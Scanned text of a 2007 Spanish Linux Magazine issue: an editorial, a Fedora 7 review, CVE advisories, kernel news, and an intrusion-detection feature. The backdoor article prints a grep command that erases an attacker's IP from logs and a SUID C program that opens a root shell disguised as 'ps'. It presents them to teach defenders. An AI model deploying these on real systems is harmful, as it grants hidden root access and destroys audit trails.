Sunteți pe pagina 1din 87

EDITORIAL

CÓMO HACER EL INDIO

Estimado Lector de Linux Magazine

P arece que nos estamos compor- tando como los niños de un patio de colegio jugando a indios y

vaqueros: “¡Bang! ¡Bang! ¡Muerto!”, “¡Pam! ¡No! ¡Muerto tú!”. Y es que Bill Hilf acaba de declarar muerto el movi- miento del software libre [1]. Pues ¡Ya está bien, niños! Lamento haberlo empe- zado, pero lo de declararse muertos mutuamente, ya me está cansando. Paul Graham pronunció muerto a Microsoft hace unos meses, personalmente secundé la moción (bueno, no exacta- mente y por otros motivos, pero esa es otro historia. Ver [2]). Ahora Bill Hilf, Director de Estrategias de Plataformas (sea lo que sea eso) de Microsoft, emplea dialéctica contra Linux, o el código abierto, o al amor a la programación …, de hecho pronunció muerto todo eso y algunas cosas más, la mayoría de las cua- les son de las que no hace Microsoft. Según Hilf, los desarrolladores de Linux son hoy en día “… empleados a tiempo completo con stock options de 401 mil dólares […] Esto significa que Linux ya no existe en el 2007. No hay movimiento del software libre. Si alguien dice que Linux va de Amor, Paz y Armo- nía, le diría que investigase. Ya no hay movimiento del software libre…” Apréciese el salto lógico tipo “como el cielo es azul, usted es una rana” del párrafo anterior. Quiero decir, ¿cómo se llega a la conclusión de que Linux ya no existe a partir de la premisa de que los que colaboran en su desarrollo cobran? En todo caso, será todo lo contrario ¿no? Será indicativo de la salud del software libre, que permite incluso ganar dinero a los que lo escogen como vía profesional. En cuanto a lo del Amor y demás, sea- mos honestos: quienes conozcan a Stall- man, jamás lo confundirían con un pro- feta del amor. ¡Oh, sí! Le gusta tocar la flauta, pero no trisca desnudo por el

Nos sentimos orgullosos de nuestros orígenes como publicación, que se remonta a los primeros días de la revolución Linux. Nuestra revista hermana, la publicación alemana Linux Magazine, fundada en 1994, fue la primera revista dedicada a Linux en Europa. Desde aquellas tempranas fechas hasta hoy, nuestra red y experiencia han crecido y se han expandido a la par que la comunidad Linux a lo ancho y largo del mundo. Como lector de Linux Magazine, te unes a una red de información dedicada a la distribución del conocimiento y experiencia técnica. No nos limitamos a informar sobre el movimiento Linux y de Software Libre, sino que somos parte integral de él.

y de Software Libre, sino que somos parte integral de él. campo con mariposas revolote- ando

campo con mariposas revolote- ando alrededor de su velludo cuerpo. Si hay algo hacia lo que

expresa amor, es su amor a la libertad, y lo defiende con uñas y dien- tes, entendiendo acertadamente que hoy en día la última batalla por la libertad individual es la que se pelea en el ámbito digital. Así que, amor no sé, pero lo que sí tiene el mundo del software libre es un gran respecto hacia sus desarrolladores. De hecho, las celebridades del software libre son casi todas, salvo honrosas excepciones, programadores. Sin ellos, el software libre sí que estaría muerto y, por ello, la comunidad se cuida muy mucho de no desestimar su labor. Curiosamente, no así Microsoft, a pesar del famoso vídeo del sudoroso Ball- mer y su baile del “developer”. Y si no, que se lo pregunten a Jamie Cansdale, que desarrolló un añadido para Visual Studio y, tras ser premiado por la empresa, tuvo que enfrentarse a sus abo- gados que le exigían que retirase su apli- cación para la versión gratuita de MSVS. Si no me creen, vayan y vean [3]. Cuando se leen estas cosas, la reacción de cualquier persona cuerda debería ser:

“¿Qué le pasa a esa gente?” y “¿Por qué continúan algunos desarrolladores haciéndoles la rosca?” Cansdale había creado algo *bueno* para un producto de Microsoft, algo que beneficiaría su difusión, ¿y le echan a los perros? Este tipo de cosas sólo tiene sentido en la dis- torsionada, enfebrecida y parano-esqui- zofrénica mente de los ejecutivos de Microsoft. Siguiendo los consejos de cualquier madre, uno se mantendría lo más alejado posible de semejante com- pañía, no vaya a ser que la psicosis sea contagiosa. Después tenemos los ataques de Red- mond, cada vez más rocambolescos,

contra el software libre: que si patentes, que si propiedad intelectual y que si yo- qué-sé. Desconozco qué han estado fumando últimamente los miembros de su departamento legal, pero esto la comunidad del software libre ya lo ha vivido antes con el infame debacle SCO / IBM, que ya sabemos cómo quedó eso:

SCO es hoy en día una ruina humeante, mientras que Linux se consolida en todas las áreas de la informática. Nunca oyes a Microsoft meterse así con Mac OS X… ¡Oh! ¡Espera! ¿Será por- que el interfaz de Windows Vista es una copia barata (en el sentido de que nece- sita tres o cuatro veces los recursos para hacer lo mismo) del sistema de Apple? Lo curioso es que tampoco se mete con AIX, HP-UX, Plan 9 o los diversos BSDs… ¿Hay algo que podemos deducir de esto? A mí me huele a miedo. A mí me huele

a muerto.

esto? A mí me huele a miedo. A mí me huele ■ a muerto. P aul

Paul C. Brown Director

RECURSOS

[1] Bill Hilf declara muerto al software libre en: http://www.bangkokpost.net/

090507_Database/09May2007_data05.

php

[2] Paul declara muerto a Microsoft en:

http://www.linux-magazine.es/issue/

28/003-003_EditorialLM28.crop.pdf

[3] Jamie Cansdale intenta mejorar un

prodcuto de Microsoft en: http://www. mutantdesign.co.uk/downloads/

ExpressEmails1.html

WWW.LINUX - MAGAZINE.ES

Número 29

3 3

DVD LINUX MAGAZINE

… Y en el DVD de Linux Magazine

FEDORA 7

L a llegada de la versión 7 ha supuesto un nuevo hito dentro del Proyecto Fedora. Fedora 7 no sólo

trae una interminable lista de últimas versiones de programas con los que experimentar, sino tambien un cambio tanto de nombre como de filosofía. Tras unos pocos y justificados retrasos con respecto al calendario previsto, la última versión de Fedora salió el pasado 31 mayo de 2007 [1]. Respetando el ciclo de una nueva versión cada seis meses, esta fecha marca un cambio en el rumbo de este consolidado descendiente de RedHat. El Proyecto Fedora ofrece un sis- tema operativo GNU/Linux completa- mente libre, consistente, coherente y sencillo de instalar y usar. Ninguno de los paquetes RPM alojados en el reposi- torio oficial de la distribución presenta ningún problema en cuanto a infraccio- nes de licencia (o, por desgracia, infrac- ción de las leyes Norteamericanas), siendo todos de GPL o similar. Desafor- tunadamente, lo anterior tiene un precio, que se traduce en que nos quedamos otra vez sin Flash, MP3 o DVD. Lo mejor es, por tanto, seguir las instrucciones dadas en el cuadro Yellow Dog Update

Manager o en el FAQ no oficial de Fedora [2] para poder localizar e instalar los paquetes que todo usuario necesita.

Instalación

Fedora 7 (Moonshine) fusiona los reposi- torios Core y Extra en uno solo. El obje- tivo es el de mejorar la calidad y simplifi- car la auditoría de los paquetes alojados. Esta es la razón por la que esta versión no se llama Fedora Core 7, tal y como se ha venido denominando hasta ahora. Otro cambio importante es la publica- ción de las herramientas básicas para la creación de la distribución (denominada pungi). El proceso de instalación es el ya clá- sico de Fedora. Nada más arrancar pode- mos acceder al menú de instalación del DVD (ver Figura 1). Este nos da la opción de realizar el proceso de instala- ción en modo gráfico o texto. El instala- dor de texto es perfectamente válido y sencillo de usar, pero si se ha encontrado algún problema en el modo gráfico, deberá probarse antes lo siguiente:

Pulsar la tecla TAB dentro del menú de arranque • Escribir linux vesa y pulsar ENTER

El instalador gráfico (ver Figura 2) nos guiará por todo el proceso de instalación. Tras configurar el idioma, el teclado y la geometría del disco duro, llega el turno de escoger los paquetes que deseamos instalar. Al igual que en otras versiones, tenemos la opción de seleccionar un per- fil básico de uso (ofimático, servidor o desarrollador) o entrar en más detalles y seleccionar uno a uno los diferentes paquetes que deseamos ver instalados en nuestro nuevo sistema operativo. Pero si ya disponíamos de una versión anti- gua de Fedora, el sistema nos dará la oportunidad de actualizarla. Siempre es más aconsejable no usar esta opción, siendo mucho más seguro realizar una copia de seguridad de nuestros datos y proceder a realizar una instalación nueva del sistema. Una vez instalados los paquetes selec- cionados, el sistema se reseteará y conti- nuará con la segunda y última fase de instalación. Aquí es donde configurare- mos el firewall, SELinux, ajustaremos las opciones del audio y, finalmente, creare- mos un nuevo usuario para poder acce- der al escritorio. Como ya es costumbre, el personal de diseño gráfico de Fedora, nos presenta un escritorio temático. Esta vez toca el tema Flying High de colores azules y rojos (ver Figura 3).

Novedades

Hay que destacar las mejoras realizadas en el apartado de virtualización. Ya en la antigua Fedora Core 6 se incluía una

Ya en la antigua Fedora Core 6 se incluía una Figur a 1: Menú de arr

Figura 1: Menú de arranque del DVD. Desde aquí podemos seleccionar el modo de instalación.

de aquí podemo s se lec cionar el modo de inst alación. Figura 2: El instalador

Figura 2: El instalador gráfico comienza la tarea.

6 Número 29

WWW.LINUX - MAGAZINE.ES

DVD LINUX MAGAZINE

DVD LINUX MAGAZINE versión del Kernel con el paravirtualiza- dor XEN y un conjunto de aplicaciones

versión del Kernel con el paravirtualiza- dor XEN y un conjunto de aplicaciones de usuario que simplificaban la admi- nistración y creación de las máquinas virtuales. En esta versión tenemos dis- ponible el mismo parche XEN y la

opción de KVM incluida en Linux desde el Kernel 2.6.20. Además tendremos dis- ponible el programa QEMU de Fabrice Bellard (ver Figura 4), que puede ser de interés en el caso de que nuestro proce- sador no tenga las opciones de virtuali-

zación por hardware requeridas por las opciones XEN y KVM. En esta distribu- ción también se ha simplificado el uso

de SELinux gracias a la incorporación

de nuevas herramientas y asistentes. En

F7 tendremos disponible la nueva ver-

sión de Firefox 2.0, Pythom 2.5, Ope- nOffice 2.2 y The GIMP 2.2.

Tu LiveCD

Como novedad de esta edición tenemos

disponible para la descarga dos nuevos LiveCD en sabores GNOME y KDE. Este

CD puede instalarse luego directamente

en el disco duro, muy similar a como lo hace Ubuntu. Interesante es también la posibilidad de generar nuestro propio LiveCD basado en Fedora gracias al uso

de la herramienta Revisor [3], que

deberemos instalar con:

yum

install

revisor

acceso a una herra-

mienta gráfica con la que generar el

Esto nos dará

LiveCD,

DVD

o

USB

que

siempre

hemos deseado.

 

RECURSOS

[1] Notas de distribución de F7: http:// docs.fedoraproject.org/release-notes

[2] FAQ no oficial de Fedora: http://www. fedorafaq.org/

[3] Revisor de Fedora: http://revisor. fedoraunity.org/

[4] Repositorio Livna http://rpm.livna.org/

[4] Repositorio Livna http://rpm.livna.org/ Figur a 3: El nuevo es crit orio de F edor a

Figura 3: El nuevo escritorio de Fedora 7 se llama Flying High ¿adivi- nan por qué?

de F edor a 7 se llama Flying High ¿adivi- nan por qué? Figura 4: Gracias

Figura 4: Gracias a QEMU podremos acceder a la virtualización sin tener un Dual Core.

WWW.LINUX - MAGAZINE.ES

Número 29

7

INSELINUGURIDX USERADESchlagworS

t sollte hier stehen

INSELINUGURIDX USERADE Schlagwor S t sollte hier stehen INSEGURIDADES PostgreSQL P ostgr eSQL es un sistema

INSEGURIDADES

PostgreSQL

PostgreSQL es un sistema de administración de bases de datos objeto- relacional avanzado (DBMS). Se ha encontrado un fallo en la manera en la que el servidor PostgreSQL maneja ciertas funciones del lenguaje SQL. Se descubrió que la base de datos PostgreSQL realiza insuficientes tipos de comprobaciones de argumentos de funciones SQL. Un usuario autenticado podría ejecutar una secuencia de comandos que podría hacer que el servidor PostgreSQL se cayera o posiblemente leyera lugares de memoria arbitrarios. El usuario necesitaría tener

permisos para añadir y quitar tablas de la base de datos que hicieran posible explotar este problema. (CVE-2007-0555) Referencia Debian: DSA-1261-1 Referencia Mandriva: MDKSA-2007:037-1 Referencia Red Hat: RHSA-2007:0064-2 Referencia Ubuntu: USN-417-3

GnomeMeeting

GnomeMeeting es una herramienta para la comunicación audio y vídeo por Inter- net. Se encontró un fallo en la manera en la que la cadena de formato de GnomeMee- ting procesa determinados mensajes. Si un usuario está ejecutando GnomeMee-

POLITICAS DE SEGURIDAD DE LAS DISTRIBUCIONES MAYORITARIAS

Distribuidor

Fuente Seguridad

Comentario

 

Debian

Info: http://www.debian.org/security/ Lista:http://www.debian.org/debian-security-announce/ Referencia: DSA-…1)

Los avisos de seguridad actuales se in- cluyen en la página de inicio. Los avisos se proveen como páginas HTML con enlaces a los parches. Los avisos también incluyen una referencia a la lista de correo.

Gentoo

Info: http://www.gentoo.org/security/en/index.xml Foro: http://forums.gentoo.org/ Lista: http://www.gentoo.org/main/en/lists.xml Referencia: GLSA:… 1)

Los avisos

de

seguridad

actuales

para

la

lista

Gentoo

en

el

sitio

web

de

seguridad

de

Gentoo

enlazan

desde

la

página principal. Los avisos se presentan

 

en HTML con códigos para fusionar las versiones corregidas.

Mandrake

Info: http://www.mandrakesecure.net Lista: http://www.mandrakesecure.net/en/mlist.php Referencia: MDKSA:… 1)

Mandrakesoft posee su propio sitio web que versa sobre temas relacionados con la seguridad. Entre otras cosas,incluye avisos de seguridad y referencias a las listas de correo. Los avisos son páginas HTML, pero no contienen enlaces a los parches.

Red Hat

Info: http://www.redhat.com/errata/ Lista: http://www.redhat.com/mailman/listinfo/ Referencia: RHSA-… 1)

Red Hat archiva los fallos de seguridad bajo lo que denominan erratas. A continuación los problemas para cada versión de Red Hat se agrupan. Los avisos de seguridad se proveen como una página HTML con enlaces a los parches.

Slackware

Info: http://www.slackware.com/security

La página de inicio contiene enlaces al

Lista: http://www.slackware.com/lists/(slackware-security) archivo de seguridad de la lista de correo.

Referencia: [slackware-security]… 1) No existe información adicional sobre seguridad en Slackware.

 

Suse

Info: http://www.suse.de/en/private/support/

Ya no existe un enlace a la página de

security/index.html seguridad tras un remodelado en el sitio

web de SuSE. Existe información en la lista de correos y los avisos. Los parches de seguridad para versiones individuales de SuSE Linux se muestran de color rojo en el sitio de actualizaciones generales. Contiene una corta descripción de la vulnerabilidad que soluciona el parche.

Parches: http://www.suse.de/en/private/ download/updates Lista: suse-security-announce Referencia: SUSE-SA… 1)

1) Todos los distribuidores muestran correos de seguridad en el campo Subject.

ting, un atacante remoto que pueda conectarse a GnomeMeeting podría pro- vocar este fallo y ejecutar potencialmente código arbitrario con los privilegios del usuario. (CVE-2007-1007) Referencia Red Hat: RHSA-2007:0086-3

PHP

PHP es un lenguaje de scripting HTML usado frecuentemente en conjunción con el servidor web HTTP Apache. Se encontraron fallos de desbordamiento de búfer en la extensión de la sesión PHP, en la función str_replace(), y en la función imap_mail_compose(). Si se pasan largas cadenas a la función str_replace(), podría ocurrir un desbor- damiento de entero en la asignación de memoria. Si un script usa la función imap_mail_compose() para crear un mensaje MIME en la base de un cuerpo de entrada desde una fuente que no es de confianza, podría dar lugar a un des- bordamiento de pila. Un atacante con posibilidades de acceso a una aplicación PHP podría desencadenar estos fallos y posible- mente ejecutar código arbitrario como usuario “apache”. (CVE-2007-0906) Datos no contrastados y no seriados sobre plataformas de 64 bits pueden ser forzados a través de la función zend_hash_init() y provocar al ejecu- ción de un bucle infinito, consumiendo recursos de la CPU hasta que el tiempo de alarma del script abortara la ejecu- ción de éste. (CVE-200 7-0988) Si la extensión wddx se usa para importar datos WDDX desde una fuente no contrastada, ciertos paquetes de entrada WDDX podrían permitir que una parte de la memoria aleatoria de la pila fuera expuesta. (CVE-2007-0908) Si la función odbc_result_all() se usa para presentar datos desde una base de datos y los contenidos de la tabla de la base de datos se encuentran bajo el control de un atacante, es posible que se produzca una vulnerabilidad en la cadena de formato, la que podría dar lugar a la ejecución de código arbitra- rio. (CVE-2007-0909)

8 Número 29

WWW.LINUX - MAGAZINE.ES

Antes del comienzo de un búfer siem-

pre se producirá la lectura de la memoria de un byte, que podría ser apilado, por ejemplo, por el uso de cualquier función header() en un script. Sin embargo, es poco probable que esto tuviera ningún efecto. (CVE-2007-0907) Algunos fallos en PHP pudieran permi- tir que los atacantes sobrescribierna determinadas variables superglobales mediante vectores no específicos. (CVE-

2007-0910)

Referencia Mandriva: MDKSA-2007:048-1 Referencia Red Hat: RHSA-2007:0076-3 Referencia Slackware: SSA:2007-053-01 Referencia Ubuntu: USN-424-1

Mozilla Tools

Mozilla Firefox es un navegador web de código abierto. SeaMonkey es un nave- gador web de código abierto, cliente de correo y de grupo de noticias, cliente chat IRC y editor HTML avanzado. Thunderbird es un cliente de correo de código abierto. Se han encontrado algu- nos fallos en la manera en la que Fire- fox procesó determinado código JavaS- cript malformado. Una página web

INSEGURIDADES

maliciosa podría ejecutar código JavaS- cript de tal manera que podría hacer que Firefox se colgara o que se ejecu- tara código arbitrario. (CVE-2007-0775,

CVE-2007-0777)

Se encontraron fallos de scripting multisitio (XSS) en la manera en la que Firefox procesa algunas páginas webs malformadas. Una página web mali- ciosa podría presentar información engañosa, dando lugar a la revelación de información privada. (CVE-2006- 6077, CVE-2007-0995, CVE-2007-0996). Se encontró un fallo en la manera en que Firefox almacena páginas web en el disco local. Una página web maliciosa podría hacer que se inyectara HTML arbitrariamente durante una sesión de búsqueda si el usuario recarga el sitio de destino. (CVE-2007-0778). Se encon- tró un fallo en la manera en la que Fire- fox presenta determinados contenidos web. Una página web maliciosa podría generar contenidos que podría cambiar la disposición de elementos de la inter- faz de usuario, engañando al usuario haciéndole pensar que está visitando una sitio diferente. (CVE-2007-0779)

Se encontraron fallos en la manera en la que Firefox presenta ventanas emergentes. Si un usuario abre una ventana emergente, es posible que lea ficheros locales arbitrarios o que le lleve a un ataque XSS. (CVE-2007- 0780, CVE-2007-0800) Se encontraron fallos de desbordamiento de búfer en el código Network Security Services (NSS) para el procesamiento del pro- tocolo SSLv2. La conexión a un servi- dor web seguro malicioso podría hacer que se ejecutara código arbitra- rio como si se tratara de un usuario ejecutando Firefox. (CVE-2007-0008, CVE-2007-0009) Se encontró un fallo en la manera en la que Firefox mani- pula el valor location.hostname durante determinadas comprobacio- nes del dominio del navegador, lo que podría permitir que un sitio web mali- cioso estableciera cookies de dominio

0981)
0981)

para un site arbitrario, o posiblemente originara un ataque XSS. (CVE-2007-

Referencia Red Hat: RHSA-2007:

0079-2, RHSA-2007:0077-4 Referencia Ubuntu: USN-428-1

RHSA-2007: 0079-2 , RHSA-2007:0077-4 Referencia Ubuntu: USN-428-1 WWW.LINUX - MAGAZINE.ES N ú m e r o

WWW.LINUX - MAGAZINE.ES

Número 29

9

NOLINUTICIAX USERS DEL KERNELSchlagwort sollte hier stehen

NOTICIAS DEL KERNEL

Alerta de Usuario Ocioso

Alessandro Di Marco ha implementado un

controlador de inactividad del usuario para

el kernel 2.6.20 que emite un evento ACPI

cuando no se detecta ninguna actividad por parte del usuario en un periodo de tiempo determinado. Di Marco en realidad escribió esto para divertirse y nunca se le ocurrió que otros cogerían su código para su revi- sión y ofrecer sugerencias, aunque eso fue justamente lo que pasó. Por un lado, tal y como hizo notar Arjan van de Ven, ACPI no es el mecanismo correcto para llevar el evento de alerta, siendo un lugar más idóneo uevent. Lo que es más, el código de Di Marco añade un nuevo fichero a /proc, lo que no se consi- dera nada ortodoxo hoy en día. Pavel Machek sugirió colocar algo en el directorio /sys, tal vez en /sys/power. También sugirió

que la idea debiera trasladarse al espacio de usuario, completamente fuera del espacio del kernel, por tanto Di Marco ha empezado

a reescribir su controlador para que se

ajuste a los exigentes requisitos de los otros

desarrolladores.

Cumbre del Kernel 2007

Theodore Y. Ts’o ha iniciado el proceso de planificación de la nueva cumbre del Ker- nel, la reunión anual para desarrolladores

del kernel a la que sólo puede accederse con invitación. Aunque tradicionalmente se celebra en Ottawa, Canadá, este año el acontecimiento se celebrará en Cambridge, Inglaterra, a petición de los asistentes del año pasado. Si el traslado a una nueva loca- lización funciona bien, puede que se intente

ir variando el lugar de celebración todos los

años a partir de ahora. La discusión en respuesta al anuncio ten- dió a enfocarse hacia futuras ediciones del evento. Alguna gente quería que se llevase a Australia, otros desarrolladores sugirieron India, y un tercer grupo se decantaba por la República Checa. A los tertulianos no se les agotaban las sugerencias. Los costes de des- plazamiento para los aproximadamente 80

10 10

Número 29

desarrolladores que se invitan cada año fue uno de los factores determinantes para la elección de cada lugar. Unos costes más bajos es sinónimo de más jefes dispuestos a abonar el viaje. Esto implica que habrá una tendencia a celebrar la cumbre en países donde ya existe un número alto de poten- ciales asistentes. Como suele ser habitual en todo lo que se refiere al kernel, este proyecto probable- mente sufra varias revisiones y ajustes, así como algunas peleas violentas, antes de adoptar su forma definitiva.

Archivos de la Lista de Correos de linux-kernel

Rob Landley notó que el repositorio del for- mato mbox de la lista de correos de linux- kernel ya no parecía estar alojado en ker- nel.org y preguntó qué había pasado. Andrew Morton dijo que estaría dispuesto a cargar su repositorio personal que recoge todos los mensajes desde el año 2000, pero Dirk Behme añadió que sería interesante tener un repositorio que se auto-actualizase y así los visitantes no tendrían que suscri- birse a la lista para conseguir el correo. Rob Landler también hizo notar que se podían encontrar archivos lkml muy antiguos en http://www.kclug.org/old_archives/ linux-activists. Dave Jones también contri- buyó a la discusión arqueológica sobre la búsqueda de los correos perdidos y men- cionó que había un repositorio aún más antiguo en ftp://ftp.linux.org.uk/pub/linux/ alan/Kernel/Documents/Old-Funet-Lists.

Arreglando Baches en las Licencias

Jan Engelhardt ha estado trabajando en un parche para un antiguo error del kernel que permitía a desarrolladores de drivers poco escrupulosos (como LinuxAnt) simular que su código era GPL, cuando en realidad podría tener casi cualquier tipo de licencia. El problema ocurre cuando MODULE_LICENSE se establece como

WWW.LINUX - MAGAZINE.ES

“GPL\0for files in the \“GPL\” directory; for others only LICENSE file applies”. Debido al “\0”, el kernel ve “GPL” cuando com- prueba la licencia y el carácter nulo engaña al kernel, haciéndole creer que la cadena ha terminado. Engelhardt remitió recientemente un parche que tapona este agujero mante- niendo un control sobre la longitud del

texto de la licencia. Si esta longitud difiere

de la longitud del texto leído, es probable que alguien esté intentando explotar esa vulnerabilidad. El parche de Engelhardt levantó una sor- prendente polvareda, centrándose la polé-

mica en si MODULE_LICENSE constituye

una característica de obligación de licen- cia, lo que violaría los términos de la Licencia Pública General, licencia bajo la

que se liberan la mayor parte de las fuentes del kernel. De hecho, el argumento tiene menos que ver con el parche de Engelhardt

y más con el código del

MODULE_LICENSE existente. Bodo Eggert también trabajó en un par-

che similar al que liberó Engelhardt, publi- cándolo aproximadamente al mismo tiempo. Igualmente, el parche de Eggert taponaba el agujero utilizando una técnica de medición de longitud de cadenas simi- lar al de Engelhardt, añadiendo de paso varias nuevas características, tales como permitir que los módulos tuvieran varias licencias. Lo curioso es que el parche de Eggert obtuvo más comentarios negativos incluso que el de Engelhardt, ya que algunas de las características añadidas por Eggert no fue- ron bien recibidas en la comunidad Linux. Por ejemplo, la mencionada característica de permitir varias licencias obtuvo un voto contundentemente negativo de Alan Cox. Puede que Eggert consiga modificar su parche para satisfacer a todas las partes, aunque de momento parece que el de Engelhardt es más sencillo, siendo más que probable que se incorpore a la rama

principal del kernel.

En busca de síntomas de un ataque

Especial Intrusos • PORTADA

EL GATO Y EL RATÓN

Si creemos que nuestros sistemas son tan complicados como para preocuparnos de un atacante, es hora de pensárselo dos veces. Los intrusos de hoy día acechan todo tipo de víctimas. POR JOE CASAD

¿ Tenemos las puertas cerradas? ¿Está nuestra información a salvo? En los comienzos, los primeros atacantes de redes sólo jugaban con los sistemas. Se introducían simplemente para demostrar que podían hacerlo, como un reto intelectual o tal vez para demostrar valentía.

Sin embargo, los tiempos cambian, y si nos preocupa la seguridad, lo mejor es adaptarse a los cambios. Los sistemas actuales

albergan información crítica con valor económico: números de tarjetas de crédito, historiales médicos, direcciones de email, etc. Los cibercriminales emplean sofisticadas técnicas que llevan a ordenadores normales y corrientes a que reenvíen spam y a que lan- cen ataques de denegación de servicio. ¿Y los vándalos adolescentes? Aún tenemos que ocuparnos de eso. Para estar por delante de ellos, tenemos que saber lo que ellos saben, por lo que necesitamos conocer qué aspecto tienen sus ataques. En el tema de por- tada de este mes, dedicado a la detección de intrusos, os mostramos qué debemos buscar. Un intruso que comprometa la seguridad de una red siempre querrá crear una puerta escondida para volver a entrar. Estas entradas secretas, conocidas como puertas traseras, pueden disfrazarse de dis- tintas maneras. Comenzamos el tema de portada con un vistazo a algunas de las técnicas de puerta trasera más comunes. Os mostramos también cómo buscar señales de un ataque usando la versátil herramienta de administración lsof. A continuación analizaremos iWatch, una prome- tedora herramienta que usa la interfaz Inotify del kernel de Linux para monitorizar nuestros directorios y enviar avisos de accesos no autori- zados en tiempo real. En nuestro último artículo presentamos Back- Track, una distribución live de Linux con una formidable colección de herramientas para simular un ataque de red. Si queremos aprender a pensar como un intruso, o incluso si sólo estamos buscando algunas técnicas sencillas para nuestra defensa, siga leyendo para obtener experto consejo en cuanto a detección de intrusos. Esperamos que disfrute del tema de portada de este mes de

Linux Magazine.

TEMA DE PORTADA

 
   

Puertas Detección de intrusos con lsof

 

12

18

iWatch

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

. 23

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

. 25

ARP Attack

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

29

WWW.LINUX - MAGAZINE.ES

Número 29

11

PORTADA • Pasadizo Secreto

Técnicas para la creación de un troyano oculto

PASADIZOS

SECRETOS

Las puertas traseras proporcionan al atacante acceso ilimitado a un sis- tema zombie. Si quieres evitar que los chicos malos se acomoden, te interesará un análisis sobre las herramientas que se pueden usar para crear un troyano. POR AMIR ALSBIH

D espués de lanzar con éxito un ata- que, un hacker malintencionado no se sienta a descansar. Explotar

una vulnerabilidad y conseguir acceso con privilegios de root es sólo la mitad de la historia. Como norma general, los atacan- tes están más interesados en continuar explotando la máquina lanzando nuevos

ataques desde ella. Para facilitar las cosas, tras el acceso inicial, normalmente un ata- cante tratará de manipular la máquina víc- tima. El proceso del ataque comprende cinco fases distintas:

1. El atacante explota un agujero de seguri- dad local o remoto para hacerse con el control de la computadora de la víctima.

2. Escala privilegios hasta conseguir el sta- tus de administrador. El nivel de admi- nistrador es necesario para que el ata- cante pueda borrar archivos de registro o instalar rootkits.

3. El atacante elimina cualquier rastro lim-

12 Número 29

piando el historial y manipulando archi- vos de registro, o wtmp y utmp.

4. El intruso instala rootkits que ayuden a mantener oculto el ataque. Gracias al rootkit los administradores de la máquina comprometida no pueden ver los procesos, conexiones y archivos del atacante.

5. El último paso es preparar una puerta

trasera para facilitar el acceso. Los troya- nos hacen que la máquina quede en manos del atacante, incluso en caso de que el agujero que le permitió entrar sea parcheado. La primera parte del ataque ya ha sido objeto de estudio, pero a menudo es difícil hallar información sobre la parte final y crucial del troyano. ¿Qué significa que un atacante “instala una puerta trasera”? Este artículo explica las técnicas que usan los atacantes a la hora de crear una puerta tra- sera en un sistema comprometido.

WWW.LINUX - MAGAZINE.ES

La Puerta Trasera

Tras limpiar los archivos de registro e implementar las ofuscadoras utilidades del rootki,t el atacante ya puede pasar a la parte final: la instalación del troyano. La forma más simple de asegurarse el acceso es el mismo agujero de seguridad que se usó en un primer momento para entrar a la máquina. Si ésta es actualizada solamente de forma esporádica, como es el caso de muchos de los PCs domésticos o escolares, puede resultar un método extremadamente efectivo, ya que el rastro que deja es mínimo. Esta forma de operar tiene una desven- taja muy importante, y es que se corre el peligro de perder el acceso a la máquina en caso de que la víctima instale una actuali- zación. Otro inconveniente es que normal- mente el agujero no dará al atacante acceso a una terminal. Muchos intrusos profesio- nales preferirán cerrar el agujero usado

Limpieza de registros

Lo primero que hace un hacker experi- mentado es eliminar rastros. La mejor forma de llevarlo a cabo es con grep. La opción -v suprime las líneas coinci- dentes con una expresión regular determinada. Por ejemplo, si necesita- mos eliminar de un archivo de registro todas las líneas que contienen la direc- ción IP 192.168.100.12:

cat logfile | grep -v U

“192.168.100.12” U

>>

logfile.mod

mv

logfile.mod

logfile

Claro que este método no es seguro. Es bastante más fácil restaurar los archivos usando alguna herramienta forense. Por desgracia, este sistema tan simple consigue engañar a muchos administradores. Un hacker más minu- cioso ejecutaría wipe sobre el archivo original para eliminar el archivo en lugar de sobreescribirlo. También nos puede servir alguna herramienta para la limpieza de archivos de registro, como la que encontramos en Darklab.org [1].

para su entrada inicial a fin de evitar que un script kiddie use la misma puerta para entrar y levante sospechas.

A fin de garantizar un método de acceso

más fiable, muchos hackers instalan troya- nos especiales. Se distinguen principal- mente dos categorías de troyanos:

Troyanos locales: Si un usuario ya tiene una cuenta en el sistema, no necesitará abrir ningún puerto. Bastará con que ingrese en el sistema y se concentre en

la escalada de privilegios.

Troyanos remotos: Si el hacker no tiene una cuenta legítima en la máquina, el troyano deberá proporcionarle acceso a modo de shell remota. El hacker va a necesitar esta shell remota para no tener que andar ejecutando a cada visita un exploit para el kernel u otro tipo de escalada de privilegios. La protección de los sistemas y los mecanismos de seguridad han existido a lo largo de los años, y los sistemas de pre- vención y detección de intrusiones son hoy herramientas estándar. Paralelamente, los troyanos se han vuelto más sofisticados. Muchas de las técnicas que los troyanos han heredado parecen novedosas, si bien con capacidad retrospectiva; aunque conviene recordar

que la seguridad informática, hasta hace tan sólo unos pocos años, no se tomaba tan en serio como hoy día. Bajo estas cir- cunstancias, las técnicas más simples solían ser las más efectivas, especialmente cuando los atacantes podían contar con una actitud descuidada en materia de seguridad por parte de los administrado- res.

Troyanos Locales

Un troyano local requiere que el atacante tenga acceso legítimo al sistema. Ha

habido pocos cambios en las técnicas tradi- cionales a lo largo de los años. Un troyano local podría consistir en un programa en C

o en un script que brinde al atacante el

control de una shell con privilegios de root. Para esto, el script o el programa activa la marca SUID. Normalmente el programa tiene un aspecto como éste:

int

{

setuid(0);

setgid(0);

execl(“/bin/sh”,”ps”,”-i”,U

NULL);

return

main()

0;

}

El comando setuid(0) especifica que el ID

del usuario será 0 (root), mientras que set- gid(0) cambia el del grupo para que coin- cida. El programa abre entonces una shell que se muestra como ps en la lista de pro- cesos. Normalmente los atacantes escon- den estos scripts en lo más recóndito del árbol de directorios para ejecutarlos cada vez que quieran lanzar una shell como root.

Pasadizo Secreto • PORTADA

Otros troyanos locales toman la forma de binarios modificados. Debido a que el código abierto es fácilmente accesible, no es muy difícil para los hackers modificar programas libres y usarlos para reemplazar a los programas originales. De nuevo, esto sólo sirve si el programa se ejecuta con pri- vilegios de root. El troyano eject es un ejemplo de un tro- yano binario. Tecleando eject -t abrimos y cerramos la bandeja del dispositivo de CD. Una versión modificada de eject compro- bará si está definida una variable determi- nada y si el contenido de dicha variable coincide con una contraseña proporcio- nada con eject. En tal caso, la herramienta eject manipulada brindará una shell con privilegios de root al usuario que ejecuta el binario. Como el parámetro -t cierra la ban- deja, un usuario que se encuentre en las proximidades de la máquina víctima no se percatará del ataque.

Camuflaje de Contraseñas

